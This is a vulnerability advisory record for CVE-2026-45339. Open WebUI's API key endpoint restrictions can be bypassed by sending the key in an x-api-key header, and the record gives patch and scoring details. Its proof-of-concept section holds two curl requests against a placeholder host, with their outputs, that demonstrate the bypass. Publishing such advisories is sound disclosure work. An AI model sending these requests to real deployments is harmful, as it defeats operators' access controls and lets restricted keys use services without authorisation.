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Response snapshot Nov 3, 2026, 22:26 UTC

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VulnerabilityCVE-2026-45339

Open WebUI's API key endpoint restrictions bypassed via `x-api-key` header — full message processing on restricted endpoints

Open WebUI allows admins to restrict which API endpoints an API key can access. When an API key is restricted from /api/v1/messages, requests using the Authorization: Bearer sk-... header are correctly blocked with 403.

At a glance

Exploited
Not known
Severity
6.5 Medium (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: open-webui: 0.9.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-57q6-fvp4-pqmm (opens a new tab)

What happened

Summary

Open WebUI allows admins to restrict which API endpoints an API key can access. When an API key is restricted from /api/v1/messages, requests using the Authorization: Bearer sk-... header are correctly blocked with 403. However, the same key sent via the x-api-key header bypasses the restriction entirely — the request is authenticated, the model is invoked, and a full response is returned.

Details

Open WebUI's Anthropic-compatible API path accepts authentication via x-api-key header (standard for the Anthropic API). The endpoint restriction check only applies to keys presented via the Authorization header. When the same sk-... key is supplied in x-api-key, the restriction check is skipped but the key is still valid for authentication.

Continue reading

This means any API key, regardless of its configured endpoint restrictions, can access any API endpoint by simply using x-api-key instead of Authorization.

PoC

Verified against Open WebUI v0.8.11.

Setup: Admin creates a user with an API key that has endpoint restrictions (not allowed on /api/v1/messages). A mock OpenAI-compatible model (mock-model) is configured.

API_KEY="sk-dc56016d720e49ba9e95584d602b79bb"

# Test 1: Authorization header — BLOCKED (endpoint restriction enforced)
curl -s -X POST http://target:8080/api/v1/messages \
 -H "Authorization: Bearer $API_KEY" \
 -H 'Content-Type: application/json' \
 -d '{"model":"mock-model","messages":[{"role":"user","content":"via Authorization header"}]}'

# Test 2: x-api-key header — BYPASS (same key, restriction skipped)
curl -s -X POST http://target:8080/api/v1/messages \
 -H "x-api-key: $API_KEY" \
 -H 'Content-Type: application/json' \
 -d '{"model":"mock-model","messages":[{"role":"user","content":"via x-api-key header"}]}'

Verified output:

# Authorization header:
{"detail":"API key not allowed to access this endpoint."}

# x-api-key header (SAME key):
{"id":"chatcmpl-mock","type":"message","role":"assistant","content":[{"type":"text","text":"MOCK-CHAT-RESPONSE"}],"model":"mock-model","usage":{"input_tokens":1,"output_tokens":1}}

The same API key is rejected via Authorization (403) but fully processed via x-api-key (200 with model response).

Impact

Any API key with endpoint restrictions can bypass those restrictions by using the x-api-key header instead of Authorization. This undermines the entire API key permission model:

- Keys restricted from chat/completion endpoints can still send messages and receive LLM responses - Keys restricted from admin endpoints may access admin functionality - The operator's intended access control is silently ineffective - API credit spend cannot be controlled through endpoint restrictions

Affected package ranges reported by GitHub: open-webui: < 0.9.0

Scores and how they were measured

CVSS base severity

6.5

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-57q6-fvp4-pqmm (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-57q6-fvp4-pqmm, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, November 3). Open WebUI's API key endpoint restrictions bypassed via `x-api-key` header — full message processing on restricted endpoints (CVE-2026-45339). https://kevwire.com/record/CVE-2026-45339

MLA

"Open WebUI's API key endpoint restrictions bypassed via `x-api-key` header — full message processing on restricted endpoints (CVE-2026-45339)." KEVWire, 3 Nov. 2026, kevwire.com/record/CVE-2026-45339.

Chicago

KEVWire. "Open WebUI's API key endpoint restrictions bypassed via `x-api-key` header — full message processing on restricted endpoints (CVE-2026-45339)." Last modified November 3, 2026. https://kevwire.com/record/CVE-2026-45339.

Evidence summary (plain text)

Open WebUI's API key endpoint restrictions bypassed via `x-api-key` header — full message processing on restricted endpoints (May 14, 2026).
Open WebUI allows admins to restrict which API endpoints an API key can access. When an API key is restricted from /api/v1/messages, requests using the Authorization: Bearer sk-... header are correctly blocked with 403. However, the same key sent via the x-api-key header bypasses the restriction entirely — the request is authenticated, the model is invoked, and a full response is returned.

Open WebUI's Anthropic-compatible API path accepts authentication via x-api-key header (standard for the Anthropic API).
CVSS 6.5 (version 3.1; evidence as of Nov 3, 2026; https://github.com/advisories/GHSA-57q6-fvp4-pqmm).
Sources:
GitHub-reviewed advisory GHSA-57q6-fvp4-pqmm: https://github.com/advisories/GHSA-57q6-fvp4-pqmm
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2026-45339.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Nov 3, 2026, 22:20 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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